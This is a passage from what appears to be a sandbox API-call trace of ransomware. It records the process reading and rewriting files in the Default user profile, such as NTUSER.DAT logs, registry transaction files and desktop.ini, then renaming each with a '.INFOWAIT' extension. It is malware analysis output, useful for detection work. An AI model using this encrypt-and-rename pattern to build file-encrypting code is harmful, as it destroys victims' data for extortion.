lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x400, lpOverlapped=0x0) returned 1 [0147.338] CloseHandle (hObject=0xad0) returned 1 [0147.339] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\NTUSER.DAT.LOG" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG") returned="C:\\Users\\Default\\NTUSER.DAT.LOG" [0147.339] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG.INFOWAIT") returned="C:\\Users\\Default\\NTUSER.DAT.LOG.INFOWAIT" [0147.339] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG" (normalized: "c:\\users\\default\\ntuser.dat.log"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG.INFOWAIT" (normalized: "c:\\users\\default\\ntuser.dat.log.infowait")) returned 1 [0147.339] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.340] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.340] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.340] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.340] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2e400 [0147.340] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.341] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.341] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0147.526] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0147.536] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.536] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0147.536] CloseHandle (hObject=0xad0) returned 1 [0147.536] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\NTUSER.DAT.LOG1" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG1") returned="C:\\Users\\Default\\NTUSER.DAT.LOG1" [0147.537] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG1", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG1.INFOWAIT") returned="C:\\Users\\Default\\NTUSER.DAT.LOG1.INFOWAIT" [0147.537] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.INFOWAIT" (normalized: "c:\\users\\default\\ntuser.dat.log1.infowait")) returned 1 [0147.537] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.538] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.539] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.539] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.539] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0147.539] CloseHandle (hObject=0xad0) returned 1 [0147.539] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\Default\\NTUSER.DAT.LOG2" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG2") returned="C:\\Users\\Default\\NTUSER.DAT.LOG2" [0147.539] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG2", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT.LOG2.INFOWAIT") returned="C:\\Users\\Default\\NTUSER.DAT.LOG2.INFOWAIT" [0147.539] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2.INFOWAIT" (normalized: "c:\\users\\default\\ntuser.dat.log2.infowait")) returned 1 [0147.540] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0147.540] GetLastError () returned 0x0 [0147.540] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0147.540] GetLastError () returned 0x0 [0147.540] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.540] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.540] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0147.540] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.540] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.540] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x10000, lpOverlapped=0x0) returned 1 [0147.549] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.553] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.553] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x10000, lpOverlapped=0x0) returned 1 [0147.554] CloseHandle (hObject=0xad0) returned 1 [0147.554] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0147.554] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.INFOWAIT") returned="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.INFOWAIT" [0147.554] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.INFOWAIT" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf.infowait")) returned 1 [0147.555] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.556] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.556] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.556] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.556] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x80000 [0147.556] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.556] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.557] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0147.575] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0147.593] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.594] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0147.594] CloseHandle (hObject=0xad0) returned 1 [0147.595] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0147.595] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.INFOWAIT") returned="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.INFOWAIT" [0147.595] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms.INFOWAIT" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms.infowait")) returned 1 [0147.595] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.596] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.597] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.597] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.598] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x80000 [0147.598] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.598] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.598] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0147.807] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0147.816] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.817] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0147.817] CloseHandle (hObject=0xad0) returned 1 [0147.817] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0147.817] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.INFOWAIT") returned="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.INFOWAIT" [0147.817] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.INFOWAIT" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms.infowait")) returned 1 [0147.818] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.819] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.819] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.820] CreateFileW (lpFileName="C:\\Users\\Default\\ntuser.ini" (normalized: "c:\\users\\default\\ntuser.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.820] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14 [0147.820] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.820] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.820] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x14, lpOverlapped=0x0) returned 1 [0147.821] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.822] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.822] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x14, lpOverlapped=0x0) returned 1 [0147.822] CloseHandle (hObject=0xad0) returned 1 [0147.822] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\ntuser.ini" | out: lpString1="C:\\Users\\Default\\ntuser.ini") returned="C:\\Users\\Default\\ntuser.ini" [0147.822] lstrcatW (in: lpString1="C:\\Users\\Default\\ntuser.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\ntuser.ini.INFOWAIT") returned="C:\\Users\\Default\\ntuser.ini.INFOWAIT" [0147.822] MoveFileW (lpExistingFileName="C:\\Users\\Default\\ntuser.ini" (normalized: "c:\\users\\default\\ntuser.ini"), lpNewFileName="C:\\Users\\Default\\ntuser.ini.INFOWAIT" (normalized: "c:\\users\\default\\ntuser.ini.infowait")) returned 1 [0147.822] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.823] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.823] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.823] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures\\desktop.ini" (normalized: "c:\\users\\default\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.824] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f8 [0147.824] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.824] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.825] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1f8, lpOverlapped=0x0) returned 1 [0147.826] VirtualAlloc (lpAddress=0x0, dwSize=0x1f8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.826] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.826] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1f8, lpOverlapped=0x0) returned 1 [0147.826] CloseHandle (hObject=0xad0) returned 1 [0147.826] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Pictures\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Pictures\\desktop.ini") returned="C:\\Users\\Default\\Pictures\\desktop.ini" [0147.826] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Pictures\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Pictures\\desktop.ini.INFOWAIT" [0147.826] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Pictures\\desktop.ini" (normalized: "c:\\users\\default\\pictures\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Pictures\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\pictures\\desktop.ini.infowait")) returned 1 [0147.827] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.828] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.828] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.828] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\users\\default\\saved games\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.828] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11a [0147.828] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.828] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.828] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x11a, lpOverlapped=0x0) returned 1 [0147.830] VirtualAlloc (lpAddress=0x0, dwSize=0x11a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.830] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.830] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x11a, lpOverlapped=0x0) returned 1 [0147.830] CloseHandle (hObject=0xad0) returned 1 [0147.830] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Saved Games\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Saved Games\\desktop.ini") returned="C:\\Users\\Default\\Saved Games\\desktop.ini" [0147.830] lstrcatW (in: lpString1="C:\\Users\\Default\\Saved Games\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Saved Games\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Saved Games\\desktop.ini.INFOWAIT" [0147.830] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\users\\default\\saved games\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Saved Games\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\saved games\\desktop.ini.infowait")) returned 1 [0147.831] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.832] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.832] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.832] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\desktop.ini" (normalized: "c:\\users\\default\\searches\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.833] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x20c [0147.833] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.833] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.833] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x20c, lpOverlapped=0x0) returned 1 [0147.834] VirtualAlloc (lpAddress=0x0, dwSize=0x20c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.834] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.834] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x20c, lpOverlapped=0x0) returned 1 [0147.835] CloseHandle (hObject=0xad0) returned 1 [0147.835] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Searches\\desktop.ini" | out: lpString1="C:\\Users\\Default\\Searches\\desktop.ini") returned="C:\\Users\\Default\\Searches\\desktop.ini" [0147.835] lstrcatW (in: lpString1="C:\\Users\\Default\\Searches\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Searches\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\Searches\\desktop.ini.INFOWAIT" [0147.835] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Searches\\desktop.ini" (normalized: "c:\\users\\default\\searches\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Searches\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\searches\\desktop.ini.infowait")) returned 1 [0147.836] VirtualFree 